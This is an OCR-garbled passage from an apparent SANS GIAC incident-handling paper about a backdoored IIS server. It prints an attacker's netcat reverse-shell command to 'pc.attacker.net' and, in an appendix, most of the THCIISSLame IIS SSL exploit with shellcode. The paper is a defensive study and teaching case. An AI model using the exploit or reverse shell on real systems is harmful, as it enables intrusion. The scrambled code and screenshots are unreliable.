TCP  E:\W NNT\ Syst enB2\i net srv\i net

TCP  E:\W NNT\ syst enB2\ svchost . exe

mmm m

—
9
mmm

A\ W NNT\ Syst enB2\i net srv\ineti

A\ W NNT\ Syst en82\ nsdt c. exe
:\ W NNT\ syst enB2\ MsTask. exe
A\ W NNT\ Syst enB2\i net srv\i net

A\ W NNT\ Syst en82\ nsdt c. exe
A\ W NNT\ Syst enB2\ t er msrv. exe
A\ W NNT\ Syst enB2\i net srv\i net

UDP  E:\ W NNT\ syst enB2\ svchost . exe

mmmm

M hitp://iwww.foundstone.com/resources/proddesc/fport.htm
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A\ W NNT\ syst enB2\ | sass. exe

A\ W NNT\ syst enB2\ servi ces. exe
A\ W NNT\ Syst enB2\ i net srv\i net
A\ W NNT\ Syst enB2\i net srv\i net

nf o. exe
nf 0. exe
nf o. exe

nf 0. exe

nf 0. exe

nf 0. exe
nf 0. exe
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Another utility from Sysinternals’ PsTools, PsList*? is used to see what are the
processes running, to identify if there is any suspicious ones. Similar as the two utilities
above, the output is redirected to a file. As seen below, the process names are shown
under the “name” column, where there is no suspicious looking names shown.

E:\> pslist > a:pslist.txt

PsList 1.26 - Process Information Lister
Copyright (C 1999-2004 Mark Russinovich
Sysinternals - ww. sysinternals.com

Process information for WEBSVR:

Narre Pid Pri Thd Hnd Priv CPU Ti ne El apsed Tine
Idle 0o o 1 0 0 1:02: 31. 564 1: 03: 56. 666
System 8 8 39 162 24 0: 00: 41. 449 1: 03: 56. 666
SMBS 168 11 6 43 1068 0: 00: 00. 961 1: 03: 56. 666
CSRSS 196 13 9 334 1084 0: 00: 00. 450 1: 03:43.788
W NLOGON 220 13 14 359 5228 0: 00: 02. 493 1:03:41. 705
SERVI CES 248 9 35 532 2624 0: 00: 02. 773 1: 03: 38. 200
LSASS 260 9 15 369 3128 0: 00: 01. 772 1: 03: 38. 150
termsrv 380 10 13 124 1788 0: 00: 00. 620 1: 03: 34. 755
svchost 496 8 8 288 1376 0: 00: 00. 921 1: 03: 29. 627
spool sv 524 8 11 153 2504 0: 00: 00. 931 1: 03: 28. 866
nmedt ¢ 556 8 21 199 1684 0: 00: 00. 410 1: 03: 28. 306
svchost 668 8 18 508 3060 0: 00: 01. 311 1: 03: 22. 808
LLSSRV 700 9 9 75 660 0: 00: 00. 090 1:03: 22. 137
regsvce 756 8 2 30 256 0: 00: 00. 060 1: 03: 20. 124
nmst ask 788 8 6 117 984 0: 00: 00. 280 1: 03: 19. 403
W nMgmt 856 8 4 114 808 0: 00: 13. 639 1:03:17.119
svchost 924 8 5 156 3260 0: 00: 00. 250 1: 03: 13. 865
df ssvc 952 8 2 37 396 0: 00: 00. 050 1:03: 13. 244
inetinfo 968 8 30 855 7036 0: 00: 02. 163 1:03:12.723
svchost 1316 8 11 167 1388 0: 00: 00. 220 1: 02: 30. 042
CSRSS 400 13 11 139 656 0: 00: 04. 576 0: 51: 18. 396
W NLOGON 536 13 12 142 5776 0: 00: 05. 137 0: 51: 18. 356
rdpclip 1432 8 2 33 328 0: 00: 00. 020 0: 51: 08. 892
expl orer 304 8 9 214 2560 0: 00: 03. 675 0: 51: 08. 251
WZQKPI CK 1492 8 1 19 256 0: 00: 00. 030 0: 50: 56. 575
wuaucl t 1500 8 4 99 1192 0: 00: 00. 140 0: 50: 53. 781
C\VD 1532 8 1 22 304 0: 00: 00. 200 0: 50: 49. 955
DLLHOST 624 8 25 306 2448 0: 00: 00. 480 0: 49: 57. 840
DLLHOST 1556 8 10 146 1464 0: 00: 00. 480 0: 49: 57. 299
| ogon. scr 1640 4 1 15 252 0: 00: 00. 020 0:47:57. 107
psli st 332 13 2 92 668 0: 00: 00. 130 0: 00: 00. 090

All the utilities’ executables are run from the CDs (from the jump bag). No suspicious
listening services, connections, applications and processes that are running at the
moment.

Next is to check the Task Scheduler if any suspicious application has been scheduled to
run on certain time. As seen below, using AT command run from the CD, there is a task
specified to run every day midnight time:

2 hitp:/iwww.sysinternals.com/ntw2k/freeware/pstools.shtml
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E:\ >at
Status | D Day Ti me Conmand Li ne

1 Each MT WTh F S Su 12: 00 AMcnd. exe /c "winword pc. attacker.net 80 -e
cnd. exe"

Looks like this is the source of the outgoing connections captured by the firewall logs.
The executable file, winword.exe seems used to disguise the actual file name. Judging
from the syntax used, it looks like netcat, which set up to fire outgoing connection over
port 80, and create a shell connection. This means that the intruder is able to get shell
into the system and definitely able to steal some data. This also explains the connection
over port 21, which means FTP is used to download and upload tools or data.

July 26, 02.40pm

Initial identification process is finished, and concludes that there is an incident happens.
Findings are reported to the senior management, and they give instruction to the
incident handling team to take actions to do the cleanup so that business can be
resumed as per normal. Involvement of law enforcement is not desired.

Chain of custody procedure is carried out to maintain the list of evidence and collection
of all the evidence. The list of evidence and the report containing step-by-step process
of initial investigation is signed by the investigator, team leader and the IT manager, on
behalf of the company. The two documents together with the evidence are put in the
ziplock bag and labeled.

However, this process is not significant, as the instruction of senior management is not
to pursue this further.

The evidences collected from this phase are as follows:
o Firewall log file, containing the description of suspicious outgoing traffic from web
server.
0 Netstat, fport, pslist and AT command outputs, saved into files.
All these are copied into a CD-R disk, then put into the ziplock bag and labeled.

5.3Containment

In the containment phase, actions are taken to contain the incident so to prevent it from
getting worse. The web server is crucial to the company’s business and downing the
system can only be done for a very short time period. The fortunate thing is that the web
server do not contain dynamically changing data, which all are stored in the database
server. Therefore, when comes to rebuild the server, it will not take a long time.

There is a possibility that the attacker may have attacked other servers as well. Further,
looking at the firewall rules, it is configured with a very open policy, especially allowing
all TCP and UDP traffic between the internal and service network. This could worsen
the problem, where the attacker has a bunch of ways to connect to the internal network
unfiltered.
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Checking on the firewall logs does not show that other servers have similar problem
with the outgoing connections. At least this means that no backdoor is installed on them
to connect directly to the attacker. It is quite difficult to do the same checking for the
workstations, since the staffs are using their workstations for Internet connections,
similar to the pattern of the backdoor. But from the observation of the logs, none of the
workstations are used in the middle of the night, the timing where the incident occurs.
At this point the firewall is the only tool available for monitoring, because the absence of
IDS and audit logs.

Based on this, focus for containment will be on the web server as the suspected
machine, with later on, monitoring on the network will be performed to identify any
suspicious activities.

In order to cut off the connection between the suspected server and the attacker,
reconfiguration of the firewall has to be done, by disabling outgoing connection from the
servers in the service network, except from the mail server on TCP port 25 (SMTP). The
following three rules are deleted from the firewall:

Action | Protocol | Destination Source Destination
Port

Rules for traffic from internal and service network to external

Accept | tcp 80 192.168.1.0/24 Anywhere

Accept | tcp 443 192.168.1.0/24 Anywhere

Accept | tcp 21 192.168.1.0/24 Anywhere

The following rules are changed from allowing the whole subnet 192.168.1.0/24 to
connect to anywhere on TCP port 25 and UDP port 53, to only allowing the respective
server to go out. This will fully block the web server from making outgoing connection.

Action | Protocol | Destination Source Destination
Port

Rules for traffic from internal and service network to external

Accept | tcp 25 192.168.1.4 Anywhere

Accept | udp 53 192.168.1.5 Anywhere

First thing to do for containment on the server is to perform backup of the current
system, so that it can be used for evidence as well as further analysis. The backup will
be performed using Symantec Ghost, using its GhostCasting feature, which allows the
backup process via network, by creating a backup image of the partition. The
GhostCast Server, which will receive the backup image, is run on the incident handler
laptop, which is connected to the network using unused IP address, 192.168.1.10. The
Ghost.exe is run at the web server to send the backup image to the GhostCast Server.

In order to run the Ghost.exe, the network boot floppy disks set have to be created first.
This is done from the incident handler laptop using the Symantec Ghost Boot Wizard,
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where the correct network card driver that is used at the web server should be chosen.
IP address information also included, 192.168.1.101.

To start the backup process, the web server has to be booted up using the network boot
disks. To ensure complete information capture from the server, without giving the
attacker codes the chance to detect normal shutdown process (if any), abrupt shutdown
by pulling the power plug is performed. To prevent high network bandwidth utilization
during the backup, the web server is temporarily connected to the 8 ports hub, together
with the incident handler laptop.

Booting up from the floppy disks, the Ghost.exe is started up at the web server. At the
incident handler laptop, GhostCast Server is configured to be ready to accept
connection from the web server machine. As seen in Figure 24, the session name,
which is used to identify the backup session, is created, “mygiftonline-web” along with
the name and location of the image file. The backup process is identified by “Create
Image” option. To start listening for client (Ghost.exe), the “Accept Clients” button is
pressed.

¥ Symantec GhostCast Server - mygiftonline-weh HE=l
File: Miew Help:

S RS imygiftonline-web ' Bestore Image ¥ [Create Image

Irmage File: IE:\Images'\mygiftonline-web.ghu:u Browse... l

" Disk

& Paitition | | b ore Options >3 |

IPAddiess | MAC Address | Mode | Gtatiss fcoept Clierts |
S |

Speed [MB min) B Transmitted Time Elapzed Eonriected Clients i

Percent Complete B Remaihing Tirne Remaining Failed Clients ]

[ hom [

o

Figure 24. GhostCast Server

From the Ghost.exe, GhostCast menu is chosen in order to use GhostCasting and
connect to the GhostCast Server, which then followed by choosing the connection
method, which can simply use multicast. The session name “mygiftonline-web” is
specified together with the GhostCast Server IP address. After all this specified, the
Ghost.exe will connect to the session at the GhostCast Server.
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Once the connection is successful, the disk and partition that will be backed up is
chosen, and the image compression is specified. The backup process is then started,
as shown in Figure 25.

¥ Symantec GhostCast Server - myagiftonline-web [ _ (O]
File Wiew Help

Session Marne imygi.‘tcm!in&-web £ Hestiore Image £ Cicate made

Image Fil= Iii': Simagestmygitantinemeb gho Eroise...

£ Disk :

g i ll hdiore Ciphonz > |

IP-Address | MAL Address i__hiqde | Status | Asept Clients
192.168.1.101 Imninhinkininining Unicast In Progrezs
Benid
Speed [ME min] a4 ME Tranzmitted 548 Time Elapzed 1415 Connected Clients 1
Fercent Complete 25 MB Remaining 1644 Time Remaining 4245  Failed Clients i}
GhostCast in progress. .. l__ {rir |“_ L

Figure 25. Backup In Progress

Once the backup is done, the image file created is copied into the USB external hard
drive, and put together in the ziplock bag as evidence. The web server is connected
back to the network, and booted up to its normal Operating System.

The next important area for containment is user databases. There are possibilities that
the attacker has created new accounts or used any of the accounts to do his work.
Deletion of that additional user or password changes to existing accounts will disable
the ability of accessing the system using the respective accounts.

Shown in Figure 26, local user database under Administrative Tools, Computer
Management is checked to see if there is any user account added by the attacker, and if
any additional users are added into the administrators group (Figure 27). However, this
is not found.
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E Computer Management

Tree I Mame ! Full Mame | Description I
=) Camputer Management (Local) A achmint Backup Administrator
-l System Toals Q.ﬁ.dministratnr Built-in account For administering the...
157 Event Yiewer EBGuest Built-in account For guest access to k..,
ﬂ% System Information QIUSR_CELER... Internet Guest Account Built-in account for anonymous acce. ..
[ ﬁ Performance Logs and Alerts éﬂIWF\M_CELER... Launch II5 Process Account Builk-in account For Inkernet Informa. ..

2 Device Manager

B2 Shared Folders .@TslntemetUser TsInternetUser This user account is used by Termina. ..
Local Users and Groups

Figure 26. Local User Database

Administrators Propetrties ﬂ l

General I

-
| Adrinistrations

nd unrezticted access to the computer/domain

Blescription:

tembers:

adrnin
Q.ﬁ.dministratur
ﬁ MY GIFTOMNLIMESD omain &drmins

Figure 27. Administrators Group

Because the web server is configured as member of domain, the domain’s user
database is also checked for possibility of user account addition by the attacker, and if
any are added into the domain administrators group. This is done from the
Administrative Tools, Active Directory Users and Computers on the domain controllers.
Same result is found, where no new suspicious user accounts are added.

Since no new users have been added, it is possible that the attacker could have used
the existing user or administrator accounts, by cracking the password file located at
\winnt\repair. To eliminate this possibility, password changes to all Windows user
accounts have to be done. This is announced and carried out with the help of the IT
department.

The web application user passwords have to be changed also. It is because they are
saved in the database server that may have been accessed by the attacker, due to the
connectivity between the web server and the database server. This is announced to all
customers via email, using the reason that this is part of the new regular measures to
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improve password security. Password used for connectivity to the database server, is
changed as well, because this might has been known to the attacker, when he has
access to the application files in the compromised web server.

The web server is configured as member of Windows domain for ease of administration,
so that using the same domain administrator account, the administrator can log on to
the web server. There is no other requirement than this reason. Therefore, it is best to
disjoin the server from the domain, so that the accounts will be separated. It is less
convenient, but it will be more secure, where compromise of the web server user
accounts will not lead to compromise of the domain accounts. Figure 28 shows the
disjoining process from the domain to the workgroup. It is done from the Control Panel,
System, Network Identification, Properties.

Identification Changes

You can change the name and the membership of thiz
computer. Changes may affect access to network resources,

Computer name:

Metwork Identification

vaebsyr
i
Full computer name: 1 welcome bo the SINGLE wiorkgroup,

yebeyr mpgiftonline. com

— Member of
" Domain:
lmygiftunline.u:nm

& wWorkgroup:
ISINGLE

[k Cancel

Figure 28. Disjoining Server From Domain

The event log files are checked using the Event Viewer. However, because of the
auditing is not enabled, only System and Application logs show number of entries, but
nothing can be derived from there related to the incident. From the Security log, there is
one entry showing that the audit log was cleared (screenshot of this has been shown in
Figure 24, so it is not shown again here). Seen in the log entry that the user performing
the deletion is SYSTEM, which most probably the attacker.

IIS log files do not show anything suspicious, as it also only record connections

information and resources being accessed.
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5.4Eradication

Eradication phase focuses on finding the root cause of the compromise, eliminating the
problem and prevent it from happen again.

During the identification phase, it was found that the code use to connect to the attacker
(winword.exe) is scheduled to run using Task Scheduler. Therefore, to disable it from
running again, it has to be deleted from scheduled task. This can be done using either
the GUI based Scheduled Task or using command line AT command.

Using AT command from the command line (run from the jump-kit CD), the following is
done (as seen in the identification phase, the task ID is 1)

E:\>at 1 /delete

The “1” value representing the task ID, while “/delete” represents the option to delete
the specified task ID.

After deletion, AT is run again to see the result of deletion. This time around, it shows
no task found:

E: \ >at
There are no entries in the list.

The winword.exe, which is suspected to be Netcat, is copied out for further analysis to
the laptop. Using BinText utility from Foundstone®®, as seen in Figure 29, the string
content of the file can be analyzed. The portion seen is showing the help strings, which
is confirmed to be Netcat'’s.

From here, it can be concluded that the executable file found, which turned out to be
Netcat, is only a backdoor created by the attacker after the initial attack. The attacker is
using another method to penetrate in. The winword.exe is then deleted from the server
to prevent it from being used again.

Due to the filtering rules on the firewall, which allows many ports between service
network and internal, besides external to the service network, there are many
possibilities of the source of the initial attack, and quite difficult to determine. The
backdoor was successful because the firewall also allows the service network servers to
make outgoing connections. Therefore, the focus here is to eradicate the problem found
on the web server, and later on monitors the whole network and servers for signs of
intruders.

3 hitp:/iwww.foundstone.com/resources/proddesc/bintext.htm
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T i

Seatch | Fiter | Help |

File ta scan |E:\Guarantine\winwordexe Browsze | Go | ‘

¥ Advanced view Time taken: 0.020 secs  Text size: BEB0 bytes [5.55k]
File: pos | Mempos [ 1D | Temt |
A 0000aDad 0040CBA4 O Crnd line:

A D00napDe0 D040CEBEBO 0O port numbers can be individual or ranges: men [inclusive]

A D000ADEC O040CBEC O -ullUDF mode

A 0000aDFA  O040CBFS 0 Ivliverbose [use twice to be more verbose]

A D000AE26 O040CC26 O |l secslltimenut for connects and final net reads

A 0000AESS 0O040CCH3 0 |-zllzere-l /0 mode [uzed for scanning)

A 0000AES0 Q040CC80 0 Hllanswer TELMET negotiation

A (00DAEAD DO40CCAD 0 I-g gatewaylsource-rauting hop paint(s], up to 8

A 0000&EDT 0040CCCT O G numllzource-routing painter: 4, 8, 12, ...

A 00004F00  0040CDO0 O I-hlithiz cruft

A 0000AF10 0040CD0 0 I zecslidelay interval for lines sent, ports scanned

A (000&F47  0040CD47 O Hillisten mode, for inbound connects

A D00DAFEE  O0O40CDBE 0 I-LIlisten harder, re-listen an socket close

A 00004F3C  Q040CDaC 0 I-rlinumeric-only IF addresses, no DHS

A D000&FCS 0040CDC3 O I-o filelthex dumnp of traffic

A (000AFET  O040CDET O I-p portillacal part rumber

A D000AFFD D040CDFD 0 Hlirandomize local and remote ports _I
A D000BODZ3 OO40CE23 O |5 addrlllocal source address

A 0000044 0040CE44 0 I-= progllinbound program to exec [dangerous!!]

A 0000BD74  O040CE74 0 l-dlldetach fram conzsole, stealth mode

A D000BO9C  O040CESC O [v1.10NT]

A D000BDAY  D040CEAY O connect bo somewhere: Inc [-options] hosthame port(s] [ports] ..

A DD0OBDES  OO040CEES 0 lizten for inbound:Ine -l -p port [options] [hostname] [port] -
al | _>l_l

Ready | ANSEaE ||Uni2 || Rere: 0 I Find | Save |

Figure 29. Using BinText Utility

Judging from the backdoor installed, which was using Netcat, full rebuild of server is not
necessary because the method is considered quite harmless and deletion of the
suspected file will be sufficient. Further, no other suspicious applications are running.
However, further monitoring has to be done to ensure this.

To identify vulnerabilities that affecting the web server, vulnerability analysis is
conducted using vulnerability scanning tools. While the exact vulnerability that was
exploited by the attacker could not be pointed out, the analysis will give the overall list of
vulnerabilities. So when fixes are applied to all the vulnerabilities listed, it will also
include the exploited vulnerability. The analysis is done using NeWT 2.0, a Windows
port of Nessus, available from http://www.tenablesecurity.com/newt.html. It is used to
perform vulnerability scanning from the local network, running from the laptop, which is
connected to the service network using IP address 192.168.1.10. Latest NeWT plugins
are installed to ensure coverage on latest vulnerability checks. The NeWT is configured
with the web server’'s administrator password to allow the tool to perform checks using
administrator privilege. The scan is performed using all installed plugins to get the most
complete results.

Number of vulnerabilities are found during the scan, and based on the results further
actions to eliminate them are performed accordingly, which listed in summary as follows
(details of the scan results are not covered here to maintain simplicity):

e Missing security updates
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These are the updates released after Service Pack 4. They are then downloaded
and installed on the server.

e Remove or disable unnecessary services
Several services are found which were installed by default, but not all are
required. Therefore these are then uninstalled or disabled accordingly.

e Disable Netbios
Netbios is not required so this is then disabled.

e Changing registry settings
Several changes to the registry are performed to disable some settings.

e Disable administrative shares
By default, administrators are able to get access to some administrative shares
on the server. It is not necessary to do this, so it is then disabled.

After the enhancements are being done, the server is considered clean from possible
future attacks. However, monitoring and constant updates of the server is still required
to ensure its security.

5.5Recovery

The recovery phase concentrates on bringing back the system affected back to the fully
functional state and strengthen the defenses against future possible attacks.

From the containment and eradication phase, changes and updates to the server have
been done, to eliminate the backdoor and vulnerabilities as well as strengthen the
server security. All these activities were done with the server still online and serving
users. Minor interruptions happened when the server rebooted couple of times.
Because of this, there are no extra efforts required to bring the system back online.

To make sure the server is functioning as per normal, the web developer performs
functionality test on the web site and web application, by connecting to it via his web
browser and viewing the pages, then performing test transactions with the application to
make sure everything is working properly. He then performs checking on the backend
database to see if transactions are entered properly by his test data as well as by other
users.

In order to facilitate better detection of intrusion events in the future, auditing on the
server is enabled. Due to the performance impact that the logging may create, selective
Audit events are selected for both success and failure events, which are:
e Audit account logon events
This is used to record the user logon status events, which will be useful to detect
any unauthorized logon attempts.
e Audit logon events
This is used to record user logon activities, such as logon and logoff, and useful
for detecting unauthorized access.
e Audit object access

68
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



This is used to record access to specific objects, like files, folders or printers. It is
useful to allow tracking on who does what with the specific objects.
After enabling this item, the auditing on the individual object has to be enabled as
well. In particular, cmd.exe is monitored, because it is often used as the tool for
break-ins.

e Audit system events
This is used to record events like system restart and shutdown. An attacker may
need to restart the server to apply certain settings, which then can be identified
with this auditing option.

Besides the host level monitoring with the auditing on the server, network level
monitoring is being done also using IDS to monitor suspicious traffic in the network, at
the external network, service network and internal network. This is done temporarily,
with management approval, by placing three hardened Windows 2000 Professional
workstations equipped with three network cards each connected to each network and
Snort installed on them. The objective is to monitor if there are still any signs of the
intruder left from the current incident, besides to detect future other attacks.

Firewall rules for traffic between service network and internal are tightened to limit only
necessary traffic to flow through it. This will help to improve defense and detection,
because there are lesser possible ways that can be used by an attacker to perform his
activities.

After all the changes and updates are put in place, the last step is to test if they are able
to effectively detect and defend against potential attacks. Vulnerability scanning using
NeWT is performed again from the local network to scan the web server. Another scan
is conducted from the internal network to the web server, to see what can pass through
the firewall from the internal network to the web server. Lastly, another scan is
conducted from the Internet to the web server, to see what vulnerabilities of the web
server that are exposed to Internet.

5.6Lesson Learned

Follow up meeting regarding to the incident is conducted a week after the investigation,
which also to allow some time to monitor the network. The meeting is attended by the
whole incident handling team, plus the senior management team. The agenda of the
meeting is to explain about the incident, how it is being handled, and what improvement
is required to prevent such incident from occurring again.

From the incident handling process, the incident can be summarized as follows:

e Anincident was detected during security audit on the firewall, which was conducted
by third party consultant.

e A backdoor was found on the web server utilizing Netcat, which was scheduled to
run every midnight to connect to the attacker machine via port 80.
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e The firewall was configured to allow outgoing connections from web server to
Internet, which facilitates the connection for the backdoor via HTTP port, and ability
to download or upload data and tools via FTP. If they were blocked by the firewall,
these activities would not be successful. The firewall was reconfigured to block the
outgoing connections during the containment phase.

e |tis suspected that the attacker is using connect back shell, because no additional
open port found on the server. Further, the initial unexplained outgoing connections
were found running using TCP port 443, which might be used for the connect back
shell connections. Again, if the firewall did not allow outgoing connection from the
web server, these connections would not be successful.

e The exact root cause of the incident could not be found, because there are too many
possibilities of exploitation. It could be direct attack from Internet, or attack from the
internal network. Except for the backdoor, there were not any traces of attacker left
which also because of there were not any adequate mechanisms available for
detection of the attack.

e General approach was taken by performing vulnerability scanning, and by using the
results, closing all possible vulnerabilities with the security updates and changing of
settings and configuration on the server.

e There was a weak firewall policy configured that open all ports between the service
network and internal network, that open many possibilities of attack between the two
networks. Strengthening of the policy has been done during the recovery phase, to
allow only necessary network traffic.

e Auditing has been enabled on the affected server and IDSs were installed to provide
monitoring capabilities in the network. Temporarily, this is used to monitor if there
are other suspicious activities that are left on the network, related to the current
incident.

In order to improve the security of the network, the following recommendation are made:

e Develop security policy for the organization, to lay the foundation for various aspects
of security.

e Enhance the perimeter defenses, by applying defense in-depth, to improve detection
and filtering of network traffic. This includes adding egress and ingress filtering on
the router, and adding application level filtering with HTTP proxy such as Squid and
SMTP relay with Sendmail. If it is feasible, upgrade the firewall to use application
proxy firewalls, which would be able to filter at application level.

e Enhance detection on the network, by implementing IDS on each of the network
segments. The current temporary IDS were run on workstation machines, which may
not be able to meet the network bandwidth.

e Enhance detection on the servers and workstations, by enabling auditing, implement
host based firewall, IDS and file integrity checking, so that any attacks on the
servers or workstations will be captured by any of these security safeguards.

e Implement a centralized logging system where all server logs will be duplicated. This
is to prevent losing of valuable logs because the attacker deletes the local logs.

e Strengthen the configuration on the networked machines, by removing unnecessary
services and applications, trust relationship, shares, user accounts and other default
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settings. Apply the latest update released by the vendors, which will fix
vulnerabilities on the specified system or software.

e Regular vulnerability scanning should be conducted to identify vulnerabilities that
frequently surfaces. This should be conducted either locally to test without firewall
protection or remotely to test with the machines behind firewall. Occasionally, full
penetration testing that combines vulnerability scanning with ethical hacking should
be conducted, which preferably done by third party consultant. As ethical hacking is
performed similarly to what the real attacker does, it will really show whether the
security mechanisms in place really able to detect and defend against it.

e Train the IT staffs so that they have better understanding in IT security, and apply
their knowledge on their daily job.

6. Vulnerability and Exploit References

Information regarding to the Microsoft SSL Library Remote Compromise vulnerability
and the exploit, THCIISSLame.c can be found in the following URLSs:

CVE Candidate CAN-2003-0719
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0719

ISS X-Force Advisory #168, Microsoft SSL Library Remote Compromise Vulnerability
http://xforce.iss.net/xforce/alerts/id/168

Bugtraq ID #10116, Microsoft Windows Private Communications Transport Protocol
Buffer Overrun Vulnerability
http://www.securityfocus.com/bid/10116

US-CERT Technical Cyber Security Alert TA04-104A, Multiple Vulnerabilities in
Microsoft Products
http://www.us-cert.gov/cas/techalerts/TA04-104A.html

US-CERT Vulnerability Note VU#586540, Microsoft Private Communication Technology
(PCT) fails to properly validate message inputs
http://www.kb.cert.org/vuls/id/586540

Microsoft Security Bulletin MS04-011
http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx

A Technical description of the SSL PCT vulnerability (CVE-2003-0719)
http://www.securityfocus.com/archive/1/361836

CVE-2004-0719: Microsoft SSL PCT vulnerability
http://www.unital.com/research/ms ssl pct.pdf
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THCIISSLame 0.3 - [IS 5 SSL remote root exploit
http://www.thc.org/exploits/THCIISSLame.c

SecurityFocus’s copy of THCIISSLame 0.3 - [IS 5 SSL remote root exploit
http://www.securityfocus.com/data/vulnerabilities/exploits/THCIISSLame.c
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Appendix A: THCIISSLame.c

/*****************************************************************************/

/* THCIISSLame 0.3 - I1S 5 SSL renmpote root exploit */
/* Exploit by: Johnny Cyberpunk (jcyberpunk@ hc. org) */
/* THC PUBLI C SOURCE MATERI ALS */
/* */
/* Bug was found by Internet Security Systens */
/* Reversing credits of the bug go to Hal var Fl ake */
/* */
/* conpile with M5 Visual C++ : cl THC | SSLane. c */
/* */
/* v0.3 - renmoved sl eep[500]; and fixed the problemw th zero ips/ports */
/* v0.2 - This little update uses a connectback shell ! */
/* v0.1 - First release with portbinding shell on 31337 */
/* */
/* At least sone greetz fly to : THC, Halvar Fl ake, FX, gera, MaXX, dvorak, */
/* scut, stealth, FtR and Random */

/*****************************************************************************/

#i ncl ude <stdio. h>
#i ncl ude <stdlib. h>
#i ncl ude <string. h>
#i ncl ude <wi nsock2. h>

#pragma coment (lib, "ws2_32.1ib")

#define junper "\ xeb\ xOf "
#define greetings_to_mcrosoft "\x54\x48\x43\ x4f\ x57\ x4e\ x5a\ x49\ x49\ x53\ x21"

char sslshit[] =
"\ x80\ x62\ x01\ x02\ xbd\ x00\ x01\ x00\ x01\ x00\ x16\ x8f \ x82\ x01\ x00\ x00\ x00" ;

char shellcode[] =

"\ xeb\ x25\ xe9\ xf a\ x99\ xd3\ x77\ xf 6\ x02\ x06\ x6c\ x59\ x6¢\ x59\ xf 8"
"\ x1d\ x9c\ xde\ x8c\ xd1\ x4c\ x70\ xd4\ x03\ x58\ x46\ x57\ x53\ x32\ x5f "
"\ x33\ x32\ x2e\ x44\ x4c\ x4c\ x01\ xeb\ x05\ xe8\ xf 9\ xf f\ xf f\ xf f\ x5d"
"\ x83\ xed\ x2c\ x6a\ x30\ x59\ x64\ x8b\ x01\ x8b\ x40\ x0c\ x8b\ x70\ x1c"
"\ xad\ x8b\ x78\ x08\ x8d\ x5f \ x3c\ x8b\ x1b\ x01\ xf b\ x8b\ x5b\ x78\ x01"
"\ xf b\ x8b\ x4b\ x1c\ x01\ xf 9\ x8b\ x53\ x24\ x01\ xf a\ x53\ x51\ x52\ x8b"
"\ x5b\ x20\ x01\ xf b\ x31\ xc9\ x41\ x31\ xcO0\ x99\ x8b\ x34\ x8b\ x01\ xf e"
"\ xac\ x31\ xc2\ xd1\ xe2\ x84\ xcO0\ x75\ xf 7\ xOf \ xb6\ x45\ x09\ x8d\ x44"
"\ x45\ x08\ x66\ x39\ x10\ x75\ xel\ x66\ x31\ x10\ x5a\ x58\ x5e\ x56\ x50"
"\ x52\ x2b\ x4e\ x10\ x41\ x0f \ xb7\ x0c\ x4a\ x8b\ x04\ x88\ x01\ xf 8\ xOf "
"\ xb6\ x4d\ x09\ x89\ x44\ x8d\ xd8\ xf e\ x4d\ x09\ x75\ xbe\ xf e\ x4d\ x08"
"\ x74\ x17\ xf e\ x4d\ x24\ x8d\ x5d\ x1a\ x53\ xf f\ xdO\ x89\ xc7\ x6a\ x02"
"\ x58\ x88\ x45\ x09\ x80\ x45\ x79\ x0c\ xeb\ x82\ x50\ x8b\ x45\ x04\ x35"
"\ x93\ x93\ x93\ x93\ x89\ x45\ x04\ x66\ x8b\ x45\ x02\ x66\ x35\ x93\ x93"
"\ x66\ x89\ x45\ x02\ x58\ x89\ xce\ x31\ xdb\ x53\ x53\ x53\ x53\ x56\ x46"
"\ x56\ xf f\ xdO\ x89\ xc7\ x55\ x58\ x66\ x89\ x30\ x6a\ x10\ x55\ x57\ xff"
"\ x55\ xe0\ x8d\ x45\ x88\ x50\ xf f \ x55\ xe8\ x55\ x55\ xf f\ x55\ xec\ x8d"
"\ x44\ x05\ x0c\ x94\ x53\ x68\ x2e\ x65\ x78\ x65\ x68\ x5¢c\ x63\ x6d\ x64"
"\ x94\ x31\ xd2\ x8d\ x45\ xcc\ x94\ x57\ x57\ x57\ x53\ x53\ xf e\ xca\ x01"
"\ xf 2\ x52\ x94\ x8d\ x45\ x78\ x50\ x8d\ x45\ x88\ x50\ xb1\ x08\ x53\ x53"
"\ x6a\ x10\ xf e\ xce\ x52\ x53\ x53\ x53\ x55\ xf f \ x55\ xf O\ x6a\ xf f\ xff"
"\ x55\ xe4";

voi d usage();
voi d shell (int sock);

int main(int argc, char *argv[])
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unsi gned int i,sock, sock2, sock3, addr,rc, | en=16
unsi gned char *badbuf, *p

unsi gned | ong of fset = Ox674lalcd;

unsi gned long XOR = Oxffffffff;

unsi gned | ong XORI P = 0x93939393

unsi gned short XORPORT = 0x9393

unsi gned short cbport;
unsi gned | ong chip;

struct sockaddr_in nytcp;

struct hostent * hp;

WBADATA wsaDat a;

printf("\nTHCI | SSLame v0.3 - |I1S 5.0 SSL remote root exploit\n");
printf("tested on Wndows 2000 Server gernman/english SP4\n");
printf("by Johnny Cyberpunk (jcyberpunk@hc.org)\n");

if(argc<4 || argc>4)
usage();

badbuf = mal |l oc(352);
menset ( badbuf, 0, 352) ;

printf("\'n[*] building buffer\n");
p = badbuf;
mencpy(p, sslshit, sizeof (sslshit));
p+=si zeof (sslshit)-1

strcat (p,junper);

strcat (p,greetings_to_mcrosoft);

of f set A=XOR,
strncat (p, (unsi gned char *)&offset, 4);

cbport = htons((unsigned short)atoi(argv[3]));
cbip = inet_addr(argv[2]);
cbport 7= XORPORT,;
chip "= XORI P
mencpy(&shel | code[ 2], &bport, 2);
mencpy(&shel | code[ 4], &cbi p, 4) ;
strcat(p, shel | code);
if (WBASt artup( MAKEWORD( 2, 1), &wsabata) != 0)
printf("WBAStartup failed !'\n");
exit(-1);
hp = get host bynane(argv[1]);

if ('hp){
addr = inet_addr(argv[1]);

}
if ((!hp) && (addr == | NADDR NONE) )
{

printf("Unable to resolve %\n",argv[1]);
exit(-1);
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}

sock=socket ( AF_I NET, SOCK_STREAM | PPROTO_TCP) ;
if (!sock)
{

printf("socket() error...\n");

exit(-1);

if (hp !'= NULL)
mencpy( & mytcp. si n_addr), hp->h_addr, hp->h_Il engt h) ;

el se

nmyt cp. si n_addr.s_addr = addr;
if (hp)

nmytcp.sin_famly = hp->h_addrtype
el se

mytcp.sin_famly = AF_| NET;
myt cp. si n_port=htons(443);
printf("[*] connecting the target\n");

rc=connect (sock, (struct sockaddr *) &nytcp, sizeof (struct sockaddr_in));
if(rc==0)

send( sock, badbuf, 351, 0);
printf("[*] exploit send\n");

